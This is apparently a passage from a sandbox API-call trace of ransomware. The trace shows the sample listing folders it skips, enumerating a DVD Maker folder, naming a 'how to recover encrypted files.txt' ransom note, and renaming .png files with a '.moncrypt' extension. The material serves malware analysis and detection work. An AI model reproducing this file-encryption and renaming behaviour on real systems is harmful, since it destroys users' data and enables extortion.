Edition\\眵?\x18") returned 46 [0058.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.219] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.219] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.219] GlobalUnlock (hMem=0x44000c) returned 0 [0058.219] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.219] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.219] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.219] GlobalUnlock (hMem=0x44000c) returned 0 [0058.219] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.219] GlobalUnlock (hMem=0x440004) returned 0 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\") returned 0x31 [0058.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.220] GlobalLock (hMem=0x440004) returned 0x550170 [0058.220] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.220] GlobalUnlock (hMem=0x440004) returned 0 [0058.220] GlobalLock (hMem=0x440004) returned 0x550170 [0058.220] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.220] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.220] GlobalUnlock (hMem=0x440004) returned 0 [0058.220] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.220] GlobalUnlock (hMem=0x44000c) returned 0 [0058.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.221] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.221] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.221] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.221] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.221] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.221] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.221] GlobalUnlock (hMem=0x44000c) returned 0 [0058.221] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.221] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.221] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.221] GlobalUnlock (hMem=0x44000c) returned 0 [0058.221] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.221] GlobalUnlock (hMem=0x440004) returned 0 [0058.221] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.222] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.222] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\1047x576black.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.223] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.224] CloseHandle (hObject=0x18c) returned 1 [0058.224] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\я")) returned 1 [0058.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.225] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.225] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.225] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.226] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.226] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.moncrypt")) returned 0 [0058.226] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0058.226] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.226] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.227] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.227] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.227] GlobalUnlock (hMem=0x440004) returned 0 [0058.227] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.227] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.227] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.227] GlobalUnlock (hMem=0x440004) returned 0 [0058.227] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.227] GlobalUnlock (hMem=0x44000c) returned 0 [0058.227] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.227] CharLowerBuffW (in: lpsz="1047_576black.png", cchLength=0x11 | out: lpsz="1047_576black.png") returned 0x11 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", cchWideChar=66, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.pnge", lpUsedDefaultChar=0x0) returned 66 [0058.228] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\1047_576black.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 0x54e280 [0058.228] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.228] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.228] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.228] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", dwFileAttributes=0x20) returned 0 [0058.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.229] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.moncrypt" (normalized: "c:\\program files\\dvd 